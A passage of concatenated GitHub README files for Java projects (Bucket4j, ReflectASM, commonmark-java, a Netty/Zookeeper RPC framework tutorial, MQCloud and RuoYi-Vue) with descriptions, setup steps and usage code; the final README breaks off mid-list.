scenarios Bucket4j provides support for following list of local caching libraries: | Back-end | Documentation link | | :--- | :---: | | ```Caffeine``` | [bucket4j-caffeine](https://github.com/bucket4j/bucket4j/blob/8.12/bucket4j-caffeine/src/main/java/io/github/bucket4j/caffeine/CaffeineProxyManager.java) | ### Third-party integrations | Back-end | Project page | | :--- |:------------------------------------------------------------------------:| | ```Datomic Database``` | [clj-bucket4j-datomic](https://github.com/fr33m0nk/clj-bucket4j-datomic) | ## [Bucket4j Backward compatibility policy](backward-compatibility-policy.md) ## Have a question? Feel free to ask via: * [Bucket4j issue tracker](https://github.com/bucket4j/bucket4j/issues/new) to report a bug. * [Bucket4j discussions](https://github.com/bucket4j/bucket4j/discussions) for questions, feature proposals, sharing of experience. ## License Copyright 2015-2024 Vladimir Bukhtoyarov Licensed under the Apache Software License, Version 2.0: <http://www.apache.org/licenses/LICENSE-2.0>. ## :beer: Want to support? [Make donate](https://app.lava.top/ru/2716741203?donate=open) to increase motivation of maintainer.

EsotericSoftware/reflectasm

High performance Java reflection

2013-11-06T13:22:17Z

 [](https://travis-ci.org/EsotericSoftware/reflectasm) [](http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22com.esotericsoftware%22%20AND%20a%3Areflectasm) Please use the [ReflectASM discussion group](http://groups.google.com/group/reflectasm-users) for support. ## Overview ReflectASM is a very small Java library that provides high performance reflection by using code generation. An access class is generated to set/get fields, call methods, or create a new instance. The access class uses bytecode rather than Java's reflection, so it is much faster. It can also access primitive fields via bytecode to avoid boxing. ## Performance    The source code for these benchmarks is included in the project. The above charts were generated on Oracle's Java 7u3, server VM. ## Installation To use reflectasm with maven, please use the following snippet in your pom.xml ```xml <dependency> <groupId>com.esotericsoftware</groupId> <artifactId>reflectasm</artifactId> <version>1.11.9</version> </dependency> ``` ## Usage Method reflection with ReflectASM: ```java SomeClass someObject = ... MethodAccess access = MethodAccess.get(SomeClass.class); access.invoke(someObject, "setName", "Awesome McLovin"); String name = (String)access.invoke(someObject, "getName"); ``` Field reflection with ReflectASM: ```java SomeClass someObject = ... FieldAccess access = FieldAccess.get(SomeClass.class); access.set(someObject, "name", "Awesome McLovin"); String name = (String)access.get(someObject, "name"); ``` Constructor reflection with ReflectASM: ```java ConstructorAccess<SomeClass> access = ConstructorAccess.get(SomeClass.class); SomeClass someObject = access.newInstance(); ``` ## Avoiding Name Lookup For maximum performance when methods or fields are accessed repeatedly, the method or field index should be used instead of the name: ```java SomeClass someObject = ... MethodAccess access = MethodAccess.get(SomeClass.class); int addNameIndex = access.getIndex("addName"); for (String name : names) access.invoke(someObject, addNameIndex, "Awesome McLovin"); ``` Iterate all fields: ```java FieldAccess access = FieldAccess.get(SomeClass.class); for(int i = 0, n = access.getFieldCount(); i < n; i++) { access.set(instanceObject, i, valueToPut); } ``` ## Visibility ReflectASM can always access public members. An attempt is made to define access classes in the same classloader (using setAccessible) and package as the accessed class. If the security manager allows setAccessible to succeed, then protected and default access (package private) members can be accessed. If setAccessible fails, no exception is thrown, but only public members can be accessed. Private members can never be accessed. ## Exceptions Stack traces when using ReflectASM are a bit cleaner. Here is Java's reflection calling a method that throws a RuntimeException: ``` Exception in thread "main" java.lang.reflect.InvocationTargetException at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:597) at com.example.SomeCallingCode.doit(SomeCallingCode.java:22) Caused by: java.lang.RuntimeException at com.example.SomeClass.someMethod(SomeClass.java:48) ... 5 more ``` Here is the same but when ReflectASM is used: ``` Exception in thread "main" java.lang.RuntimeException at com.example.SomeClass.someMethod(SomeClass.java:48) at com.example.SomeClassMethodAccess.invoke(Unknown Source) at com.example.SomeCallingCode.doit(SomeCallingCode.java:22) ``` If ReflectASM is used to invoke code that throws a checked exception, the checked exception is thrown. Because it is a compilation error to use try/catch with a checked exception around code that doesn't declare that exception as being thrown, you must catch Exception if you care about catching a checked exception in code you invoke with ReflectASM.

commonmark/commonmark-java

Java library for parsing and rendering CommonMark (Markdown)

2015-07-22T01:08:55Z

commonmark-java =============== Java library for parsing and rendering [Markdown] text according to the [CommonMark] specification (and some extensions). [](https://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.commonmark%22) [](https://www.javadoc.io/doc/org.commonmark/commonmark) [](https://github.com/commonmark/commonmark-java/actions?query=workflow%3Aci) [](https://codecov.io/gh/commonmark/commonmark-java) [](https://sourcespy.com/github/commonmarkcommonmarkjava/) Introduction ------------ Provides classes for parsing input to an abstract syntax tree (AST), visiting and manipulating nodes, and rendering to HTML or back to Markdown. It started out as a port of [commonmark.js], but has since evolved into an extensible library with the following features: * Small (core has no dependencies, extensions in separate artifacts) * Fast (10-20 times faster than [pegdown] which used to be a popular Markdown library, see benchmarks in repo) * Flexible (manipulate the AST after parsing, customize HTML rendering) * Extensible (tables, strikethrough, autolinking and more, see below) The library is supported on Java 11 and later. It works on Android too, but that is on a best-effort basis, please report problems. For Android the minimum API level is 19, see the [commonmark-android-test](commonmark-android-test) directory. Coordinates for core library (see all on [Maven Central]): ```xml <dependency> <groupId>org.commonmark</groupId> <artifactId>commonmark</artifactId> <version>0.21.0</version> </dependency> ``` The module names to use in Java 9 are `org.commonmark`, `org.commonmark.ext.autolink`, etc, corresponding to package names. Note that for 0.x releases of this library, the API is not considered stable yet and may break between minor releases. After 1.0, [Semantic Versioning] will be followed. A package containing `beta` means it's not subject to stable API guarantees yet; but for normal usage it should not be necessary to use. See the [spec.txt](commonmark-test-util/src/main/resources/spec.txt) file if you're wondering which version of the spec is currently implemented. Also check out the [CommonMark dingus] for getting familiar with the syntax or trying out edge cases. If you clone the repository, you can also use the `DingusApp` class to try out things interactively. Usage ----- #### Parse and render to HTML ```java import org.commonmark.node.*; import org.commonmark.parser.Parser; import org.commonmark.renderer.html.HtmlRenderer; Parser parser = Parser.builder().build(); Node document = parser.parse("This is *Markdown*"); HtmlRenderer renderer = HtmlRenderer.builder().build(); renderer.render(document); // "<p>This is <em>Markdown</em></p>\n" ``` This uses the parser and renderer with default options. Both builders have methods for configuring their behavior: * `escapeHtml(true)` on `HtmlRenderer` will escape raw HTML tags and blocks. * `sanitizeUrls(true)` on `HtmlRenderer` will strip potentially unsafe URLs from `<a>` and `<img>` tags * For all available options, see methods on the builders. Note that this library doesn't try to sanitize the resulting HTML with regards to which tags are allowed, etc. That is the responsibility of the caller, and if you expose the resulting HTML, you probably want to run a sanitizer on it after this. #### Render to Markdown ```java import org.commonmark.node.*; import org.commonmark.renderer.markdown.MarkdownRenderer; MarkdownRenderer renderer = MarkdownRenderer.builder().build(); Node document = new Document(); Heading heading = new Heading(); heading.setLevel(2); heading.appendChild(new Text("My title")); document.appendChild(heading); renderer.render(document); // "## My title\n" ``` For rendering to plain text with minimal markup, there's also `TextContentRenderer`. #### Use a visitor to process parsed nodes After the source text has been parsed, the result is a tree of nodes. That tree can be modified before rendering, or just inspected without rendering: ```java Node node = parser.parse("Example\n=======\n\nSome more text"); WordCountVisitor visitor = new WordCountVisitor(); node.accept(visitor); visitor.wordCount; // 4 class WordCountVisitor extends AbstractVisitor { int wordCount = 0; @Override public void visit(Text text) { // This is called for all Text nodes. Override other visit methods for other node types. // Count words (this is just an example, don't actually do it this way for various reasons). wordCount += text.getLiteral().split("\\W+").length; // Descend into children (could be omitted in this case because Text nodes don't have children). visitChildren(text); } } ``` #### Add or change attributes of HTML elements Sometimes you might want to customize how HTML is rendered. If all you want to do is add or change attributes on some elements, there's a simple way to do that. In this example, we register a factory for an `AttributeProvider` on the renderer to set a `class="border"` attribute on `img` elements. ```java Parser parser = Parser.builder().build(); HtmlRenderer renderer = HtmlRenderer.builder() .attributeProviderFactory(new AttributeProviderFactory() { public AttributeProvider create(AttributeProviderContext context) { return new ImageAttributeProvider(); } }) .build(); Node document = parser.parse(""); renderer.render(document); // "<p><img src=\"/url.png\" alt=\"text\" class=\"border\" /></p>\n" class ImageAttributeProvider implements AttributeProvider { @Override public void setAttributes(Node node, String tagName, Map<String, String> attributes) { if (node instanceof Image) { attributes.put("class", "border"); } } } ``` #### Customize HTML rendering If you want to do more than just change attributes, there's also a way to take complete control over how HTML is rendered. In this example, we're changing the rendering of indented code blocks to only wrap them in `pre` instead of `pre` and `code`: ```java Parser parser = Parser.builder().build(); HtmlRenderer renderer = HtmlRenderer.builder() .nodeRendererFactory(new HtmlNodeRendererFactory() { public NodeRenderer create(HtmlNodeRendererContext context) { return new IndentedCodeBlockNodeRenderer(context); } }) .build(); Node document = parser.parse("Example:\n\n code"); renderer.render(document); // "<p>Example:</p>\n<pre>code\n</pre>\n" class IndentedCodeBlockNodeRenderer implements NodeRenderer { private final HtmlWriter html; IndentedCodeBlockNodeRenderer(HtmlNodeRendererContext context) { this.html = context.getWriter(); } @Override public Set<Class<? extends Node>> getNodeTypes() { // Return the node types we want to use this renderer for. return Set.of(IndentedCodeBlock.class); } @Override public void render(Node node) { // We only handle one type as per getNodeTypes, so we can just cast it here. IndentedCodeBlock codeBlock = (IndentedCodeBlock) node; html.line(); html.tag("pre"); html.text(codeBlock.getLiteral()); html.tag("/pre"); html.line(); } } ``` #### Add your own node types In case you want to store additional data in the document or have custom elements in the resulting HTML, you can create your own subclass of `CustomNode` and add instances as child nodes to existing nodes. To define the HTML rendering for them, you can use a `NodeRenderer` as explained above. #### Customize parsing There are a few ways to extend parsing or even override built-in parsing, all of them via methods on `Parser.Builder` (see [Blocks and inlines](https://spec.commonmark.org/0.31.2/#blocks-and-inlines) in the spec for an overview of blocks/inlines): - Parsing of specific block types (e.g. headings, code blocks, etc) can be enabled/disabled with `enabledBlockTypes` - Parsing of blocks can be extended/overridden with `customBlockParserFactory` - Parsing of inline content can be extended/overridden with `customInlineContentParserFactory` - Parsing of [delimiters](https://spec.commonmark.org/0.31.2/#emphasis-and-strong-emphasis) in inline content can be extended with `customDelimiterProcessor` #### Thread-safety Both the `Parser` and `HtmlRenderer` are designed so that you can configure them once using the builders and then use them multiple times/from multiple threads. This is done by separating the state for parsing/rendering from the configuration. Having said that, there might be bugs of course. If you find one, please report an issue. ### API documentation Javadocs are available online on [javadoc.io](https://www.javadoc.io/doc/org.commonmark/commonmark). Extensions ---------- Extensions need to extend the parser, or the HTML renderer, or both. To use an extension, the builder objects can be configured with a list of extensions. Because extensions are optional, they live in separate artifacts, so additional dependencies need to be added as well. Let's look at how to enable tables from GitHub Flavored Markdown. First, add an additional dependency (see [Maven Central] for others): ```xml <dependency> <groupId>org.commonmark</groupId> <artifactId>commonmark-ext-gfm-tables</artifactId> <version>0.21.0</version> </dependency> ``` Then, configure the extension on the builders: ```java import org.commonmark.ext.gfm.tables.TablesExtension; List<Extension> extensions = List.of(TablesExtension.create()); Parser parser = Parser.builder() .extensions(extensions) .build(); HtmlRenderer renderer = HtmlRenderer.builder() .extensions(extensions) .build(); ``` To configure another extension in the above example, just add it to the list. The following extensions are developed with this library, each in their own artifact. ### Autolink Turns plain links such as URLs and email addresses into links (based on [autolink-java]). Use class `AutolinkExtension` from artifact `commonmark-ext-autolink`. ### Strikethrough Enables strikethrough of text by enclosing it in `~~`. For example, in `hey ~~you~~`, `you` will be rendered as strikethrough text. Use class `StrikethroughExtension` in artifact `commonmark-ext-gfm-strikethrough`. ### Tables Enables tables using pipes as in [GitHub Flavored Markdown][gfm-tables]. Use class `TablesExtension` in artifact `commonmark-ext-gfm-tables`. ### Heading anchor Enables adding auto generated "id" attributes to heading tags. The "id" is based on the text of the heading. `# Heading` will be rendered as: ``` <h1 id="heading">Heading</h1> ``` Use class `HeadingAnchorExtension` in artifact `commonmark-ext-heading-anchor`. In case you want custom rendering of the heading instead, you can use the `IdGenerator` class directly together with a `HtmlNodeRendererFactory` (see example above). ### Ins Enables underlining of text by enclosing it in `++`. For example, in `hey ++you++`, `you` will be rendered as underline text. Uses the &lt;ins&gt; tag. Use class `InsExtension` in artifact `commonmark-ext-ins`. ### YAML front matter Adds support for metadata through a YAML front matter block. This extension only supports a subset of YAML syntax. Here's an example of what's supported: ``` --- key: value list: - value 1 - value 2 literal: | this is literal value. literal values 2 --- document start here ``` Use class `YamlFrontMatterExtension` in artifact `commonmark-ext-yaml-front-matter`. To fetch metadata, use `YamlFrontMatterVisitor`. ### Image Attributes Adds support for specifying attributes (specifically height and width) for images. The attribute elements are given as `key=value` pairs inside curly braces `{ }` after the image node to which they apply, for example: ``` {width=640 height=480} ``` will be rendered as: ``` <img src="/url.png" alt="text" width="640" height="480" /> ``` Use class `ImageAttributesExtension` in artifact `commonmark-ext-image-attributes`. Note: since this extension uses curly braces `{` `}` as its delimiters (in `StylesDelimiterProcessor`), this means that other delimiter processors *cannot* use curly braces for delimiting. ### Task List Items Adds support for tasks as list items. A task can be represented as a list item where the first non-whitespace character is a left bracket `[`, then a single whitespace character or the letter `x` in lowercase or uppercase, then a right bracket `]` followed by at least one whitespace before any other content. For example: ``` - [ ] task #1 - [x] task #2 ``` will be rendered as: ``` <ul> <li><input type="checkbox" disabled=""> task #1</li> <li><input type="checkbox" disabled="" checked=""> task #2</li> </ul> ``` Use class `TaskListItemsExtension` in artifact `commonmark-ext-task-list-items`. ### Third-party extensions You can also find other extensions in the wild: * [commonmark-ext-notifications](https://github.com/McFoggy/commonmark-ext-notifications): this extension allows to easily create notifications/admonitions paragraphs like `INFO`, `SUCCESS`, `WARNING` or `ERROR` See also -------- * [Markwon](https://github.com/noties/Markwon): Android library for rendering markdown as system-native Spannables * [flexmark-java](https://github.com/vsch/flexmark-java): Fork that added support for a lot more syntax and flexibility Contributing ------------ See [CONTRIBUTING.md](CONTRIBUTING.md) file. License ------- Copyright (c) Atlassian and others. BSD (2-clause) licensed, see LICENSE.txt file. [CommonMark]: https://commonmark.org/ [Markdown]: https://daringfireball.net/projects/markdown/ [commonmark.js]: https://github.com/commonmark/commonmark.js [pegdown]: https://github.com/sirthias/pegdown [CommonMark Dingus]: https://spec.commonmark.org/dingus/ [Maven Central]: https://search.maven.org/#search|ga|1|g%3A%22org.commonmark%22 [Semantic Versioning]: https://semver.org/ [autolink-java]: https://github.com/robinst/autolink-java [gfm-tables]: https://help.github.com/articles/organizing-information-with-tables/

Snailclimb/guide-rpc-framework

A custom RPC framework implemented by Netty+Kyro+Zookeeper.（一款基于 Netty+Kyro+Zookeeper 实现的自定义 RPC 框架-附详细实现过程和相关教程。）

2020-05-10T13:24:42Z

# guide-rpc-framework > [该 RPC 框架配套教程已经更新在我的星球，点击此链接了解详情。](https://javaguide.cn/zhuanlan/handwritten-rpc-framework.html) <div align="center"> <p> 中文| <a href="./README-EN.md">English</a> </p> <p> <a href="https://github.com/Snailclimb/guide-rpc-framework">Github</a> | <a href="https://gitee.com/SnailClimb/guide-rpc-framework ">Gitee</a> </p> </div> ## 前言 虽说 RPC 的原理实际不难，但是，自己在实现的过程中自己也遇到了很多问题。[guide-rpc-framework](https://github.com/Snailclimb/guide-rpc-framework) 目前只实现了 RPC 框架最基本的功能，一些可优化点都在下面提到了，有兴趣的小伙伴可以自行完善。 通过这个简易的轮子，你可以学到 RPC 的底层原理和原理以及各种 Java 编码实践的运用。 你甚至可以把 [guide-rpc-framework](https://github.com/Snailclimb/guide-rpc-framework) 当做你的毕设/项目经验的选择，这是非常不错！对比其他求职者的项目经验都是各种系统，造轮子肯定是更加能赢得面试官的青睐。 如果你要将 [guide-rpc-framework](https://github.com/Snailclimb/guide-rpc-framework) 当做你的毕设/项目经验的话，我希望你一定要搞懂，而不是直接复制粘贴我的思想。你可以 fork 我的项目，然后进行优化。如果你觉得的优化是有价值的话，你可以提交 PR 给我，我会尽快处理。 ## 介绍 [guide-rpc-framework](https://github.com/Snailclimb/guide-rpc-framework) 是一款基于 Netty+Kyro+Zookeeper 实现的 RPC 框架。代码注释详细，结构清晰，并且集成了 Check Style 规范代码结构，非常适合阅读和学习。 由于 Guide哥自身精力和能力有限，如果大家觉得有需要改进和完善的地方的话，欢迎 fork 本项目，然后 clone 到本地，在本地修改后提交 PR 给我，我会在第一时间 Review 你的代码。 **我们先从一个基本的 RPC 框架设计思路说起！** ### 一个基本的 RPC 框架设计思路 > **注意** ：我们这里说的 RPC 框架指的是：可以让客户端直接调用服务端方法就像调用本地方法一样简单的框架，比如我前面介绍的 Dubbo、Motan、gRPC 这些。 如果需要和 HTTP 协议打交道，解析和封装 HTTP 请求和响应。这类框架并不能算是“RPC 框架”，比如 Feign。 一个最简单的 RPC 框架使用示意图如下图所示,这也是 [guide-rpc-framework](https://github.com/Snailclimb/guide-rpc-framework) 目前的架构 ：  服务提供端 Server 向注册中心注册服务，服务消费者 Client 通过注册中心拿到服务相关信息，然后再通过网络请求服务提供端 Server。 作为 RPC 框架领域的佼佼者[Dubbo](https://github.com/apache/dubbo)的架构如下图所示,和我们上面画的大体也是差不多的。 <img src="./images/dubbo-architure.jpg" style="zoom:80%;" /> **一般情况下， RPC 框架不仅要提供服务发现功能，还要提供负载均衡、容错等功能，这样的 RPC 框架才算真正合格的。** **简单说一下设计一个最基本的 RPC 框架的思路：**  1. **注册中心** ：注册中心首先是要有的，推荐使用 Zookeeper。注册中心负责服务地址的注册与查找，相当于目录服务。服务端启动的时候将服务名称及其对应的地址(ip+port)注册到注册中心，服务消费端根据服务名称找到对应的服务地址。有了服务地址之后，服务消费端就可以通过网络请求服务端了。 2. **网络传输** ：既然要调用远程的方法就要发请求，请求中至少要包含你调用的类名、方法名以及相关参数吧！推荐基于 NIO 的 Netty 框架。 3. **序列化** ：既然涉及到网络传输就一定涉及到序列化，你不可能直接使用 JDK 自带的序列化吧！JDK 自带的序列化效率低并且有安全漏洞。 所以，你还要考虑使用哪种序列化协议，比较常用的有 hession2、kyro、protostuff。 4. **动态代理** ： 另外，动态代理也是需要的。因为 RPC 的主要目的就是让我们调用远程方法像调用本地方法一样简单，使用动态代理可以屏蔽远程方法调用的细节比如网络传输。也就是说当你调用远程方法的时候，实际会通过代理对象来传输网络请求，不然的话，怎么可能直接就调用到远程方法呢？ 5. **负载均衡** ：负载均衡也是需要的。为啥？举个例子我们的系统中的某个服务的访问量特别大，我们将这个服务部署在了多台服务器上，当客户端发起请求的时候，多台服务器都可以处理这个请求。那么，如何正确选择处理该请求的服务器就很关键。假如，你就要一台服务器来处理该服务的请求，那该服务部署在多台服务器的意义就不复存在了。负载均衡就是为了避免单个服务器响应同一请求，容易造成服务器宕机、崩溃等问题，我们从负载均衡的这四个字就能明显感受到它的意义。 6. ...... ### 项目基本情况和可优化点 为了循序渐进，最初的是时候，我是基于传统的 **BIO** 的方式 **Socket** 进行网络传输，然后利用 **JDK 自带的序列化机制** 来实现这个 RPC 框架的。后面，我对原始版本进行了优化，已完成的优化点和可以完成的优化点我都列在了下面 👇。 **为什么要把可优化点列出来？** 主要是想给哪些希望优化这个 RPC 框架的小伙伴一点思路。欢迎大家 fork 本仓库，然后自己进行优化。 - [x] **使用 Netty（基于 NIO）替代 BIO 实现网络传输；** - [x] **使用开源的序列化机制 Kyro（也可以用其它的）替代 JDK 自带的序列化机制；** - [x] **使用 Zookeeper 管理相关服务地址信息** - [x] Netty 重用 Channel 避免重复连接服务端 - [x] 使用 `CompletableFuture` 包装接受客户端返回结果（之前的实现是通过 `AttributeMap` 绑定到 Channel 上实现的） 详见：[使用 CompletableFuture 优化接受服务提供端返回结果](./docs/使用CompletableFuture优化接受服务提供端返回结果.md) - [x] **增加 Netty 心跳机制** : 保证客户端和服务端的连接不被断掉，避免重连。 - [x] **客户端调用远程服务的时候进行负载均衡** ：调用服务的时候，从很多服务地址中根据相应的负载均衡算法选取一个服务地址。ps：目前实现了随机负载均衡算法与一致性哈希算法。 - [x] **处理一个接口有多个类实现的情况** ：对服务分组，发布服务的时候增加一个 group 参数即可。 - [x] **集成 Spring 通过注解注册服务** - [x] **集成 Spring 通过注解进行服务消费** 。参考： [PR#10](https://github.com/Snailclimb/guide-rpc-framework/pull/10) - [x] **增加服务版本号** ：建议使用两位数字版本，如：1.0，通常在接口不兼容时版本号才需要升级。为什么要增加服务版本号？为后续不兼容升级提供可能，比如服务接口增加方法，或服务模型增加字段，可向后兼容，删除方法或删除字段，将不兼容，枚举类型新增字段也不兼容，需通过变更版本号升级。 - [x] **对 SPI 机制的运用** - [ ] **增加可配置比如序列化方式、注册中心的实现方式,避免硬编码** ：通过 API 配置，后续集成 Spring 的话建议使用配置文件的方式进行配置 - [x] **客户端与服务端通信协议（数据包结构）重新设计** ，可以将原有的 `RpcRequest`和 `RpcRequest` 对象作为消息体，然后增加如下字段（可以参考：《Netty 入门实战小册》和 Dubbo 框架对这块的设计）： - **魔数** ： 通常是 4 个字节。这个魔数主要是为了筛选来到服务端的数据包，有了这个魔数之后，服务端首先取出前面四个字节进行比对，能够在第一时间识别出这个数据包并非是遵循自定义协议的，也就是无效数据包，为了安全考虑可以直接关闭连接以节省资源。 - **序列化器编号** ：标识序列化的方式，比如是使用 Java 自带的序列化，还是 json，kyro 等序列化方式。 - **消息体长度** ： 运行时计算出来。 - ...... - [ ] **编写测试为重构代码提供信心** - [ ] **服务监控中心（类似dubbo admin）** - [x] **设置 gzip 压缩** ### 项目模块概览  ## 运行项目 ### 导入项目 fork 项目到自己的仓库，然后克隆项目到自己的本地：`git clone git@github.com:username/guide-rpc-framework.git`，使用 IDEA 打开，等待项目初始化完成。 ### 初始化 git hooks **这一步主要是为了在 commit 代码之前，跑 Check Style，保证代码格式没问题，如果有问题的话就不能提交。** > 以下演示的是 Mac/Linux 对应的操作，Window 用户需要手动将 `config/git-hooks` 目录下的`pre-commit` 文件拷贝到 项目下的 `.git/hooks/` 目录。 执行下面这些命令： ```shell ➜ guide-rpc-framework git:(master) ✗ chmod +x ./init.sh ➜ guide-rpc-framework git:(master) ✗ ./init.sh ``` `init.sh` 这个脚本的主要作用是将 git commit 钩子拷贝到项目下的 `.git/hooks/` 目录，这样你每次 commit 的时候就会执行了。 ### CheckStyle 插件下载和配置 `IntelliJ IDEA-> Preferences->Plugins->搜索下载 CheckStyle 插件`，然后按照如下方式进行配置。  配置完成之后，按照如下方式使用这个插件！  ### 下载运行 zookeeper 这里使用 Docker 来下载安装。 下载： ```shell docker pull zookeeper:3.5.8 ``` 运行： ```shell docker run -d --name zookeeper -p 2181:2181 zookeeper:3.5.8 ``` ## 使用 ### 服务提供端 实现接口： ```java @Slf4j @RpcService(group = "test1", version = "version1") public class HelloServiceImpl implements HelloService { static { System.out.println("HelloServiceImpl被创建"); } @Override public String hello(Hello hello) { log.info("HelloServiceImpl收到: {}.", hello.getMessage()); String result = "Hello description is " + hello.getDescription(); log.info("HelloServiceImpl返回: {}.", result); return result; } } @Slf4j public class HelloServiceImpl2 implements HelloService { static { System.out.println("HelloServiceImpl2被创建"); } @Override public String hello(Hello hello) { log.info("HelloServiceImpl2收到: {}.", hello.getMessage()); String result = "Hello description is " + hello.getDescription(); log.info("HelloServiceImpl2返回: {}.", result); return result; } } ``` 发布服务(使用 Netty 进行传输)： ```java /** * Server: Automatic registration service via @RpcService annotation * * @author shuang.kou * @createTime 2020年05月10日 07:25:00 */ @RpcScan(basePackage = {"github.javaguide.serviceimpl"}) public class NettyServerMain { public static void main(String[] args) { // Register service via annotation new AnnotationConfigApplicationContext(NettyServerMain.class); NettyServer nettyServer = new NettyServer(); // Register service manually HelloService helloService2 = new HelloServiceImpl2(); RpcServiceProperties rpcServiceConfig = RpcServiceProperties.builder() .group("test2").version("version2").build(); nettyServer.registerService(helloService2, rpcServiceConfig); nettyServer.start(); } } ``` ### 服务消费端 ```java @Component public class HelloController { @RpcReference(version = "version1", group = "test1") private HelloService helloService; public void test() throws InterruptedException { String hello = this.helloService.hello(new Hello("111", "222")); //如需使用 assert 断言，需要在 VM options 添加参数：-ea assert "Hello description is 222".equals(hello); Thread.sleep(12000); for (int i = 0; i < 10; i++) { System.out.println(helloService.hello(new Hello("111", "222"))); } } } ``` ```java ClientTransport rpcRequestTransport = new SocketRpcClient(); RpcServiceProperties rpcServiceConfig = RpcServiceProperties.builder() .group("test2").version("version2").build(); RpcClientProxy rpcClientProxy = new RpcClientProxy(rpcRequestTransport, rpcServiceConfig); HelloService helloService = rpcClientProxy.getProxy(HelloService.class); String hello = helloService.hello(new Hello("111", "222")); System.out.println(hello); ``` ## 相关问题 ### 为什么要造这个轮子？Dubbo 不香么？ 写这个 RPC 框架主要是为了通过造轮子的方式来学习，检验自己对于自己所掌握的知识的运用。 实现一个简单的 RPC 框架实际是比较容易的，不过，相比于手写 AOP 和 IoC 还是要难一点点，前提是你搞懂了 RPC 的基本原理。 我之前从理论层面在我的知识星球分享过如何实现一个 RPC。不过理论层面的东西只是支撑，你看懂了理论可能只能糊弄住面试官。咱程序员这一行还是最需要动手能力，即使你是架构师级别的人物。当你动手去实践某个东西，将理论付诸实践的时候，你就会发现有很多坑等着你。 大家在实际项目上还是要尽量少造轮子，有优秀的框架之后尽量就去用，Dubbo 在各个方面做的都比较好和完善。 ### 如果我要自己写的话，需要提前了解哪些知识 **Java** ： 1. 动态代理机制； 2. 序列化机制以及各种序列化框架的对比，比如 hession2、kyro、protostuff。 3. 线程池的使用； 4. `CompletableFuture` 的使用 5. ...... **Netty** ： 1. 使用 Netty 进行网络传输； 2. `ByteBuf` 介绍 3. Netty 粘包拆包 4. Netty 长连接和心跳机制 **Zookeeper** : 1. 基本概念； 2. 数据结构； 3. 如何使用 Netflix 公司开源的 zookeeper 客户端框架 Curator 进行增删改查； ## 教程 Guide 的星球正在更新《从零开始手把手教你实现一个简单的 RPC 框架》。扫描下方二维码关注“**JavaGuide**”后回复 “**星球**”即可。 

sohutv/mqcloud

RocketMQ企业级一站式服务平台

2018-10-25T06:56:26Z

## MQCloud - 集客户端SDK，运维，监控，预警等功能的[RocketMQ](https://github.com/apache/rocketmq)企业级一站式服务平台 **它具备以下特性：** * 跨集群：可以同时管理多个集群，对使用者透明。 * 预警功能：针对生产或消费堆积，失败，异常等情况预警，处理。 * 简单明了：用户视图-拓扑、流量、消费状况等指标直接展示；管理员视图-集群运维、监控、流程审批等。 * 安全：用户隔离，操作审批，数据安全。 * 更多特性正在开发中。 * 下图简单描述了MQCloud大概的功能：  ## 特性概览 * 用户topic列表-不同用户看到不同的topic，管理员可以管理所有topic  * topic详情-分三块 基本信息，今日流程，拓扑  * 生产详情  * 消费详情  * 某个消费者具体的消费详情-可以查询重试消息和死消息  * 消息  * 消息消费情况  * 集群发现  * 集群管理  * 集群流量  * 创建broker  ---------- ## 目前运维的规模 1. 服务器：40台+ 2. 集群：5个+ 3. topic：370个+ 4. 生产消费消息量/日：10亿条+ 5. 生产消费消息大小/日：1T+ ---------- ## 联系方式 MQCloud QQ交流群：474960759 使用方式请参考[wiki](https://github.com/sohutv/sohu-tv-mq/wiki)。

yangzongzhuan/RuoYi-Vue

:tada: (RuoYi)官方仓库 基于SpringBoot，Spring Security，JWT，Vue & Element 的前后端分离权限管理系统，同时提供了 Vue3 的版本

2019-11-07T02:18:40Z

<p align="center"> <img alt="logo" src="https://oscimg.oschina.net/oscnet/up-d3d0a9303e11d522a06cd263f3079027715.png"> </p> <h1 align="center" style="margin: 30px 0 30px; font-weight: bold;">RuoYi v3.8.7</h1> <h4 align="center">基于SpringBoot+Vue前后端分离的Java快速开发框架</h4> <p align="center"> <a href="https://gitee.com/y_project/RuoYi-Vue/stargazers"><img src="https://gitee.com/y_project/RuoYi-Vue/badge/star.svg?theme=dark"></a> <a href="https://gitee.com/y_project/RuoYi-Vue"><img src="https://img.shields.io/badge/RuoYi-v3.8.7-brightgreen.svg"></a> <a href="https://gitee.com/y_project/RuoYi-Vue/blob/master/LICENSE"><img src="https://img.shields.io/github/license/mashape/apistatus.svg"></a> </p> ## 平台简介 若依是一套全部开源的快速开发平台，毫无保留给个人及企业免费使用。 * 前端采用Vue、Element UI。 * 后端采用Spring Boot、Spring Security、Redis & Jwt。 * 权限认证使用Jwt，支持多终端认证系统。 * 支持加载动态权限菜单，多方式轻松权限控制。 * 高效率开发，使用代码生成器可以一键生成前后端代码。 * 提供了技术栈（[Vue3](https://v3.cn.vuejs.org) [Element Plus](https://element-plus.org/zh-CN) [Vite](https://cn.vitejs.dev)）版本[RuoYi-Vue3](https://github.com/yangzongzhuan/RuoYi-Vue3)，保持同步更新。 * 提供了单应用版本[RuoYi-Vue-fast](https://github.com/yangzongzhuan/RuoYi-Vue-fast)，Oracle版本[RuoYi-Vue-Oracle](https://github.com/yangzongzhuan/RuoYi-Vue-Oracle)，保持同步更新。 * 不分离版本，请移步[RuoYi](https://gitee.com/y_project/RuoYi)，微服务版本，请移步[RuoYi-Cloud](https://gitee.com/y_project/RuoYi-Cloud) * 阿里云折扣场：[点我进入](http://aly.ruoyi.vip)，腾讯云秒杀场：[点我进入](http://txy.ruoyi.vip)&nbsp;&nbsp; * 阿里云优惠券：[点我领取](https://www.aliyun.com/minisite/goods?userCode=brki8iof&share_source=copy_link)，腾讯云优惠券：[点我领取](https://cloud.tencent.com/redirect.php?redirect=1025&cps_key=198c8df2ed259157187173bc7f4f32fd&from=console)&nbsp;&nbsp; ## 内置功能 1. 用户管理：用户是系统操作者，该功能主要完成系统用户配置。 2. 部门管理：配置系统组织机构（公司、部门、小组），树结构展现支持数据权限。 3. 岗位管理：配置系统用户所属担任职务。 4. 菜单管理：配置系统菜单，操作权限，按钮权限标识等。 5. 角色管理：角色菜单权限分配、设置角色按机构进行数据范围权限划分。 6. 字典管理：对系统中经常使用的一些较为固定的数据进行维护。 7. 参数管理：对系统动态配置常用参数。 8. 通知公告：系统通知公告信息发布维护。 9. 